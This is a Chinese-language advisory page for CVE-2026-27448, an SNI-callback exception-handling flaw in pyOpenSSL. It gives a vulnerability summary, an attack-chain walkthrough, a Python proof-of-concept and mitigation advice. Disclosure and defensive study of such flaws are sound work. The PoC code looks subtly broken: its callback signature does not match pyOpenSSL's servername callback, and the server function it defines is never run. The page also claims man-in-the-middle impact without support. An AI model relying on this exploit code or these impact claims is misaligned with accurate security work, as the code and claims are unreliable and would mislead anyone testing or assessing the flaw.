IPBUF安全漏洞报告
English
CVE-2026-27448 CVSS 5.3 中危

CVE-2026-27448: pyOpenSSL set_tlsext_servername_callback 异常处理安全漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-27448
漏洞类型
安全逻辑错误
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
pyOpenSSL

相关标签

pyOpenSSLTLSSNI回调异常安全绕过访问控制OpenSSL封装Python安全

漏洞概述

pyOpenSSL是OpenSSL库的Python封装库。该漏洞影响0.14.0至26.0.0之前的版本。当用户通过set_tlsext_servername_callback设置的TLS服务器名称指示(SNI)回调函数抛出未处理的异常时,连接仍会被错误地接受,而不是被拒绝。这导致依赖该回调进行安全敏感操作(如证书验证、访问控制、域名检查等)的应用存在安全漏洞。攻击者可以利用此漏洞绕过安全检查,建立本应被拒绝的TLS连接,从而可能进行中间人攻击、恶意证书欺骗或其他安全敏感操作。漏洞已在26.0.0版本中修复,未处理的异常现在会导致连接被拒绝。

技术细节

TLS服务器名称指示(SNI)扩展允许客户端在TLS握手期间指定要连接的主机名。pyOpenSSL提供set_tlsext_servername_callback方法用于设置处理SNI的回调函数。在受影响的版本(0.14.0到<26.0.0)中,当用户提供的回调函数抛出未捕获的异常时,OpenSSL的默认行为是继续接受连接。这与许多安全敏感应用的设计预期不符,这些应用通常依赖SNI回调来执行访问控制、证书验证、域名验证等安全检查。攻击者可以通过发送带有特定SNI主机名的TLS连接请求,触发回调中的未处理异常,从而绕过安全检查。在修复版本26.0.0中,当回调抛出未处理异常时,连接将被正确拒绝,从而确保安全检查不会被绕过。

攻击链分析

STEP 1
步骤1
攻击者向使用pyOpenSSL的服务器发起TLS连接请求,在ClientHello中包含特定的SNI主机名(如malicious.example.com)
STEP 2
步骤2
服务器端的set_tlsext_servername_callback回调函数被调用,处理SNI主机名
STEP 3
步骤3
回调函数因特定条件触发未处理的异常(如ValueError、KeyError等)
STEP 4
步骤4
在受影响的版本(<26.0.0)中,TLS握手继续完成,连接被错误地接受;在修复版本(>=26.0.0)中,连接被正确拒绝
STEP 5
步骤5
攻击者成功绕过依赖SNI回调的安全检查(如访问控制、域名验证、证书验证等),可能进行中间人攻击或其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
""" CVE-2026-27448 PoC - pyOpenSSL set_tlsext_servername_callback Unhandled Exception Bypass This PoC demonstrates how an unhandled exception in the SNI callback leads to connection acceptance instead of rejection in vulnerable versions. """ import ssl import socket from OpenSSL import SSL def vulnerable_sni_callback(conn, cert, err): """ Callback that raises an unhandled exception. In vulnerable versions (<26.0.0), this causes connection to be ACCEPTED. In fixed versions (>=26.0.0), this causes connection to be REJECTED. """ server_name = conn.get_servername() # Intentionally raise an unhandled exception if server_name == b"malicious.example.com": raise ValueError(f"Unexpected server name: {server_name}") return None def create_vulnerable_server(): """Create a server demonstrating the vulnerability.""" # Create context with a self-signed certificate context = SSL.Context(SSL.TLSv1_2_METHOD) context.use_certificate_file("server.crt") context.use_privatekey_file("server.key") # Set the vulnerable SNI callback context.set_tlsext_servername_callback(vulnerable_sni_callback) return context def exploit(): """ Exploit the vulnerability by triggering the unhandled exception. """ # Create client context client_context = ssl.create_default_context() client_context.check_hostname = False client_context.verify_mode = ssl.CERT_NONE try: # Connect to server with a malicious SNI hostname with socket.create_connection(("localhost", 8443)) as sock: with client_context.wrap_socket(sock, server_hostname="malicious.example.com") as ssock: # If we reach here, the vulnerability exists # Connection was accepted despite callback exception print("[!] VULNERABLE: Connection accepted despite unhandled exception!") print(f"[*] Established TLS connection with: {ssock.getpeercert()}") except ssl.SSLError as e: # Connection was properly rejected (fixed version) print(f"[+] FIXED: Connection rejected - {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2026-27448 PoC") print("=" * 50) print("Testing pyOpenSSL SNI callback exception handling...") exploit()

影响范围

pyOpenSSL >= 0.14.0 且 < 26.0.0

防御指南

临时缓解措施
如果无法立即升级到pyOpenSSL 26.0.0版本,必须在set_tlsext_servername_callback回调函数中添加完整的异常处理逻辑,确保所有可能的异常都被捕获并返回适当的错误值(如SSL_TLSEXT_ERR_ALERT),从而拒绝异常情况下的连接。同时建议实施多层安全验证,不要将关键安全检查完全依赖于SNI回调。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表